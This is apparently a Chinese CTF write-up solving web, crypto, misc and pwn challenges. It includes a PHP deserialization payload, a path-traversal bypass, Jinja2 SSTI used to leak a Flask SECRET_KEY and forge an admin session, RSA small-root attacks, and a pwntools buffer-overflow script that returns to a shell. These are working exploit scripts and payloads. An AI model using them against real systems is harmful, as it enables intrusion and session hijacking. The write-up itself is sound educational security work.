web
贪吃蛇

根据提示,分数score要大于300分才能拿到flag,抓包修改score就好了

极简支付

我们的初始金币只有20,根据搜索框看到代金券,因此我们肯定有途径充值金币
打开附件moudels,发现是php反序列化
<?php
class PromoManager {
public $promo_credit;
public $promo_code;
public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}
?>代码逻辑是:变量promo_code的金额
O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:4:"test";}
base64编码
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czo0OiJ0ZXN0Ijt9
充值成功:


购买flag

flag{8a8724d683820183ed433086a61ace51}
WEB-Enterprise_OA
查看提示
据说使用了严密的目录穿越防护机制,你能找到突破口吗?
访问页面

尝试使用伪协议读取index.php文件

解码后得到
<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
?>
<!DOCTYPE html>
<html>
<head>
<title>OA System Portal</title>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background-color: #f0f2f5; text-align: center; margin: 0; padding: 0;}
.header { background-color: #004080; color: white; padding: 20px; font-size: 24px; font-weight: bold; }
.container { background-color: white; padding: 20px; border-radius: 8px; margin: 40px auto; width: 60%; box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
.nav { margin-bottom: 30px; border-bottom: 2px solid #eee; padding-bottom: 10px; }
.nav a { margin: 0 15px; text-decoration: none; color: #004080; font-weight: bold; }
.nav a:hover { color: #0066cc; }
.content { padding: 20px; text-align: left; min-height: 200px; color: #333; line-height: 1.6; }
</style>
</head>
<body>
<div class="header">
Enterprise OA System
</div>
<div class="container">
<div class="nav">
<a href="?module=public_notices.php">Notices</a>
<a href="?module=about.php">About Us</a>
<a href="?module=contact.php">Contact</a>
</div>
<div class="content">
<?php include($module); ?>
</div>
</div>
</body>
</html>替换../为空
使用…/./绕过过滤

直接读取flag.txt得到flag
SSTI
题目是一个 Flask 税务系统,核心漏洞位于 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">preview</font> 功能中:当档案状态为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">AUDIT_PENDING</font> 时,后端会把用户可控的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font> 拼接进模板字符串并调用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">render_template_string</font> 渲染,导致 Jinja2 SSTI。
虽然 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font> 存在黑名单过滤,但 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{config}}</font>、<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{config.SECRET_KEY}}</font> 等 payload 未被拦截,可以泄露 Flask 配置中的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">SECRET_KEY</font>。拿到密钥后伪造 Flask session,将角色改为 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tax_inspector</font>,即可访问 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/admin/vault</font> 获取 flag。
源码中 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/api/import</font> 允许登录用户更新自己的 profile 字段:
allowed_fields = [‘income’, ‘deductions’, ‘state’, ‘custom_footer’, ‘year’]
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/preview/<profile_id></font> 中只有当 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">state == 'AUDIT_PENDING'</font> 时才会进入危险渲染分支:
template_html = f"""
...
{custom_footer}
...
"""
return render_template_string(template_html)因此利用路径为:
- 使用默认账号
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">admin / 123456</font>登录;(源码中看到了) - 调用
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/api/import</font>将<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">state</font>改为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">AUDIT_PENDING</font>; - 将
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">custom_footer</font>设置为 Jinja2 payload; - 访问
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/preview/1</font>触发模板渲染。
先用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">{{7*7}}</font> 验证 SSTI,可得到输出 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">49</font>。
黑名单包含:
[’__’, ’[’, ’]’, ’|’, ’\’, ’+’, ”’”, ’”’, ‘request’, ‘session’, ‘url_for’, ‘popen’, ‘system’]
但 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">config</font> 没有被过滤,可以直接读取 Flask 配置:
{{config.SECRET_KEY}}
远端泄露结果:
secret_tax_key_2026_xoxo
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/admin/vault</font> 的权限校验只检查 session 中的角色:
if session.get('role') != 'tax_inspector':
return ..., 403因此使用泄露的 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">SECRET_KEY</font> 伪造 Flask session,令 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">role=tax_inspector</font> 即可。
脚本:
import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
base = "http://47.99.147.34:22477"
s = requests.Session()
# 1. 登录默认账号
r = s.post(
base + "/login",
data={"username": "admin", "password": "123456"},
allow_redirects=False,
timeout=10,
)
assert r.status_code == 302
# 2. 进入 AUDIT_PENDING 分支,并通过 SSTI 泄露 SECRET_KEY
payload = "{{config.SECRET_KEY}}"
s.post(
base + "/api/import",
json={
"profile_id": 1,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": payload,
},
},
timeout=10,
)
r = s.get(base + "/preview/1", timeout=10)
m = re.search(r'<div class="mt-12[^>]*>\s*(.*?)\s*</div>', r.text, re.S)
secret_key = html.unescape(m.group(1).strip())
print("SECRET_KEY =", secret_key)
# 3. 使用 SECRET_KEY 伪造 Flask session
app = Flask(__name__)
app.secret_key = secret_key
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
forged_cookie = serializer.dumps({"user_id": 1, "role": "tax_inspector"})
# 4. 访问管理员金库读取 flag
r = requests.get(
base + "/admin/vault",
cookies={"session": forged_cookie},
timeout=10,
)
flag = re.search(r"flag\{[^}]+\}", r.text).group(0)
print(flag)运行输出:
SECRET_KEY = secret_tax_key_2026_xoxo
flag{a254d76b46619625320bd29d4a52e79f}登录admin 123456验证

密码
BabyRSA
典型的 低指数 RSA 未填充攻击。
因为:e = 3加密是:
c = m³ mod n
但这里 c < n,并且明文 flag 比较短,所以很可能没有发生取模,也就是:c = m³
因此直接对 c 开三次方即可。
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 146456207485830767914514765334605396036642227204228987708446660890050815487128006715913622157128235248935655578151481827177840917052845172511421469547232732441806965854703621986999520482471596435061983380595175269092940745113495911485402820490898305634251135388587459830251350617359231575313676293073142199273
e = 3
c = 2217344750798531670826905933197717306478038649111300599282001715469497738630239634028205075519404548701756318035023919662152908861350532333135725865746366678724860476714032941272817671989466245205318687633276948181351107062398131366447344653395924217620196185525247507602021
m, exact = gmpy2.iroot(c, 3)
print(exact)
print(long_to_bytes(int(m)))输出:

True
b'flag{62b25772f8b89f180e19a26e2cebb997}'RSA 使用了小指数 e=3,且没有 padding,明文又太短,导致 m³ < n,可以直接对密文开三次方恢复明文。
ScatterRSA
加密形式是:
cᵢ ≡ (aᵢ·m + bᵢ)³ mod nᵢ
虽然每次的 a、b、n 都不同,但明文 m 相同,且 e = 3 很小。
核心思路:
构造三个多项式:
f₁(x) = (a₁x + b₁)³ - c₁ mod n₁
f₂(x) = (a₂x + b₂)³ - c₂ mod n₂
f₃(x) = (a₃x + b₃)³ - c₃ mod n₃
因为真正的明文 m 满足:
f₁(m) ≡ 0 mod n₁
f₂(m) ≡ 0 mod n₂
f₃(m) ≡ 0 mod n₃
然后对多项式的每一项系数做 CRT,合成一个模:
N = n₁ · n₂ · n₃
上的三次多项式:
F(x) ≡ 0 mod N
由于 flag 很短,m 是小根,可以用 Coppersmith 求小根。
Sage 代码如下:
from sage.all import *
def long_to_bytes(n):
n = int(n)
return n.to_bytes((n.bit_length() + 7) // 8, "big")
e = 3
n1 = 106942858976837461231869224985700778482062286073360067401664531056810083958780571502313463376483350698131773553082175875215723887321050148363182735079797616626363005392597385593185664941948197534874212258582102810493286143935415748556536186145362206413165825137102596658269090498262143681608309430440308757483
a1 = 299322928681076422038745665978862379157
b1 = 59087081825181636501158935761312878233448985130888172824087923722210974268705
c1 = 98294624733261319181583988519681835440462282361073935201625891101125390829100807293422676761229527485704773592497676317140386159502203937759033089603745824436086090158155363126240815171760903433001978041454184608846117326755667241724444923731185842787498879658486140909685827166808315057166416446385436338157
n2 = 98316426231482946975220425947801720886255114719000796514586297591562275903798640552997266908434574210875738432635350750273976191275978931867337229907998058722410059986521848910740489322024211230961021860961337278448228096641563785010181868332574445300470055958568704370327903434313610576813501939245586716999
a2 = 238175606177678308209456565225464121331
b2 = 72209677443052235578472305367068399561075517868865334527715804876606806849079
c2 = 88401412351676668895751185489122390231114438608063010755900866791975770053335804008673736673911247079044349112634505953389525849238999412142403629818741958448609728629912228248004232558218608993697936231523194426570646371272426953511640995374687770257536086766030334449610400022537915291876862108725263772017
n3 = 72725422695793899253139314142362633592506815609086636853568526928203603008459966889354908333262381449316654250663565909258842111058952182342094883201771130466270690676608041755358180159161394939564642949722257047549807728787885968332865646047202276439654826869809727279696887495884775007409012322878986435881
a3 = 293362810333071134334840063072261059660
b3 = 63834403243032230124923183263952558992908714633021292626749573535323605242389
c3 = 68718536017407339439769718499720278152615742583566502851329876282270515709381515122358672880144700924309792042502641894193895098761601183907220576779403200872369777511381788203190872314946279937795612780437730276557999152558818644252231059897779130944032015742444879995522966157358401481873828599118792316846
ns = [n1, n2, n3]
a = [a1, a2, a3]
b = [b1, b2, b3]
c = [c1, c2, c3]
N = n1 * n2 * n3
coeffs = []
for k in range(4):
tmp = []
for i in range(3):
poly_coeff = [
b[i] ** 3 - c[i],
3 * a[i] * b[i] ** 2,
3 * a[i] ** 2 * b[i],
a[i] ** 3
]
tmp.append(poly_coeff[k] % ns[i])
coeffs.append(CRT_list(tmp, ns))
P = PolynomialRing(Zmod(N), "x")
x = P.gen()
F = coeffs[0] + coeffs[1] * x + coeffs[2] * x ** 2 + coeffs[3] * x ** 3
F = F.monic()
roots = F.small_roots(X=2 ** 400, beta=1)
if not roots:
print("[-] 没有找到小根")
else:
for r in roots:
m = int(r)
flag = long_to_bytes(m)
print("[+] m =", m)
print("[+] bytes =", flag)
try:
print("[+] flag =", flag.decode())
except Exception:
print("[-] 无法直接 decode")跑出来:
flag = flag{e3bed61d917f86053a6ec4a2adb9d34c}
misc
损坏的压缩包
下载附件解压后打开查看
里面有一个data.txt
里面有一串base64编码

YXJwZw==
解码后查看
arpg
补全为flag形式
flag{arpg}
幻影
下载附件后打开
发现存在data.bin文件

对于你前面那串密文:
CgANCxdeCggOXl0PVEEOVFpYQVhVCFxBDQ9bX0EPWA4PWV0JWwlUWwoR
Base64 解码后得到字节:
0A 00 0D 0B 17 5E 0A 08 0E 5E 5D 0F 54 41 0E 54 …
这些不是正常可读文本。
假设它是单字节 XOR,那就可以尝试 0x00 到 0xff 的所有 key。
当 key 是 0x6c 时:
0A ^ 6C = 66 = f
00 ^ 6C = 6C = l
0D ^ 6C = 61 = a
0B ^ 6C = 67 = g
17 ^ 6C = 7B = {
前 5 个字节刚好变成:
flag{
所以可以确认:
XOR key = 0x6c
完整解密结果是:
flag{2fdb21c8-b864-49d0-ac73-c4bc51e7e87f}
也就是说,判断 key 的核心依据是:
密文字节 ^ key = 明文字节
前面五个字符为flag{
都能对上,所以 0x6c 就是正确 key。
迷宫
打开附件

观察前面的字符疑似为base64编码
YTY4NzY0MzE0YTJlOGQzODE4MmU0NWE4ODI4NDEzZDI
解码后得到
a68764314a2e8d38182e45a8828413d2
补全为flag形式
flag{a68764314a2e8d38182e45a8828413d2}
Pwn
PWN-Authenticate
拿到附件 uploads/vuln_2_ 后,先查看程序保护:
checksec ./vuln_2_可以看到这是一个 64 位 ELF 程序,未开启 PIE,且没有 Canary:

继续查看函数符号:
objdump -t ./vuln_2_ | grep -E "backdoor|login|main"
可以发现程序中存在 backdoor、login、main 三个关键函数:
00000000004011f6 T backdoor
000000000040120d T login
00000000004012a7 T main其中 backdoor() 函数会直接调用 system:
00000000004011f6 <backdoor>:
4011fe: lea rdi,[rip+0xe03] # 402008
401205: call 4010c0 <system@plt>再查看字符串表,可以发现程序中存在 /bin/sh:
strings ./vuln_2_ | grep "/bin/sh"
所以 backdoor() 实际等价于:
system("/bin/sh");
接着分析 login() 函数,发现其中使用了危险函数 gets:
401262: lea rax,[rbp-0x80]
401266: mov rdi,rax
401269: mov eax,0x0
40126e: call 401100 <gets@plt>这里密码缓冲区位于:
rbp - 0x80返回地址位于:
rbp + 0x8因此覆盖返回地址需要的偏移为:
0x80 + 0x8 = 0x88

由于是 64 位程序,调用 system() 前需要注意栈 16 字节对齐。如果直接返回到 backdoor,可能因为栈未对齐导致程序崩溃,所以需要先加一个 ret gadget 做栈对齐。
使用的地址如下:
ret gadget: 0x40101a
backdoor: 0x4011f6
offset: 0x88最终 payload:
b"A" * 0x88 + p64(0x40101a) + p64(0x4011f6)本地验证脚本如下:
from pwn import *
p = process("./vuln_2_")
p.recvuntil(b"Username: ")
p.sendline(b"guest")
p.recvuntil(b"Password: ")
payload = b"A" * 0x88
payload += p64(0x40101a)
payload += p64(0x4011f6)
p.sendline(payload)
p.sendline(b"echo PWNED; id; exit")
print(p.recvall(timeout=2).decode(errors="ignore"))本地输出如下,可以成功执行命令:
Invalid credentials.
PWNED
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)
远程打靶脚本如下:
from pwn import *
context.arch = "amd64"
HOST = "120.27.146.76"
PORT = 12609
ret = 0x40101a
backdoor = 0x4011f6
p = remote(HOST, PORT)
p.recvuntil(b"Username: ")
p.sendline(b"guest")
p.recvuntil(b"Password: ")
payload = b"A" * 0x88
payload += p64(ret)
payload += p64(backdoor)
p.sendline(payload)
p.sendline(b"cat flag; cat /flag; exit")
print(p.recvall(timeout=5).decode(errors="ignore"))运行后成功得到 flag:
Invalid credentials.
flag{e9384c4d9ffb475c906dc4c92c39fcd3}
最终 flag:
flag{e9384c4d9ffb475c906dc4c92c39fcd3}